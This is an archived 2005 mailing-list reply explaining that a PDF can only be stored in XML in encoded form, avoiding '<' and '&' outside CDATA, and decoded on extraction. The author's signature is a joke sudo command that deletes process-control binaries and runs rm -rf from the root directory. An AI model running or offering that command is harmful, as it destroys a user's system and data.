Re: XML and PDF...

From: Peter Flynn <peter.no-sp_at_m.silmaril.ie>
Date: Fri, 25 Mar 2005 16:22:33 +0000
Message-ID: <3ais69F6c9212U1_at_individual.net>


Verner Jensen, �borg wrote:

> Hi'
>
> Is it possible to store a PDF doc, as part of an XML?

No, not directly.

> Should the PDF-part
> be encoded/wrapped or something,

Yes, that's possible. You just have to ensure that the encode will never output non-XML characters, nor "<" or "&" unless you put it in a CDATA section.

> cause I can't figure out how the XML text
> format is able to hold binary data?

It can't. XML is a text file format.

> The assignment is to extract the PDF from the XML - put it in an Oracle
> BLOB - and store it in an Ora-DB.
>
> The part which extract the PDF from XML - should this contain some kind of
> conversion (text => binary) ?

The code which extracts the encoded data would trigger a decoder which would recreate the PDF document.

I realise it's a college assignment, but I have difficulty imagining any circumstances in which I would want to do this. I'd be interested to know what the person who set the assignment envisages.

///Peter, java groups removed from posting

-- 
sudo sh -c "cd /;/bin/rm -rf `which killall kill ps shutdown mount gdb` *
&;top"
Received on Fri Mar 25 2005 - 17:22:33 CET

Original text of this message